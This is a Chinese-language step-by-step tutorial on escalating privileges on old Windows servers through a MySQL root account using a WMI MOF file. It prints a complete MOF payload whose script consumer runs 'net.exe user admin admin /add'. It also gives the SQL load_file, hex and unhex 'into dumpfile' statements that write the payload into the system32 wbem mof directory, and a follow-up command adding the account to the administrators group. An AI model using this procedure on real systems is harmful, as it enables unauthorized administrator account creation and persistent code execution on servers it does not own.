前題
只能在windows使用,應用範圍:2008以下的系統,Mysql5.7以下(--secure_file_prive:此配置寫文件不限制)
介紹
mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"託管對象格式"其作用是每隔五秒就會去監控進程創建和死亡
條件
mysql服務器配置允許root用戶遠程連接
原理
當mysql有了root權限以後,就可使用root權限去上傳一個mof,隔一定時間以後這個mof就會被執行,這個mof當中可以寫一段vbs腳本,這個vbs內容是cmd的添加管理員用戶的命令
mof文件通過Mofcomp.exe編譯執行
提權過程
1.遠程連接數據庫
命令行連接:mysql -h 要連接的mysql服務器ip -u root -p
Navicat連接(此處使用): 點擊連接,輸入要連接的mysql服務器ip,用戶爲root,密碼數據庫密碼
2.編寫mof文件
nullevt.mof文件內容如下,之後在net.exe user admin admin /add處替換命令即可
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
3. 上傳mof文件
上傳路徑:C:\WINDOWS\system32\wbem\mof
上傳:直接上傳沒有權限,可通過mysql語句寫入
3.1 以二進制讀取mof文件內容,並將結果轉爲十六進制
select hex(load_file("C:\\Users\\Administrator\\Desktop\\nullevt.mof")) into dumpfile'C:\\Users\\Administrator\\Desktop\\333.txt' ;
3.2 Navicat新建查詢處輸入以下命令,111替換爲剛剛的16進制字符串
select unhex ('111') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\nullevt.mof';
4.過一會mof文件裏的命令就會自動執行,生成一個admin用戶
5.修改mof文件,替換以下命令,重複步驟3上傳,將admin添加到管理員組
mof替換命令:net.exe localgroup administrators admin /add
6.此處手動查看admin用戶狀態,進行結果檢驗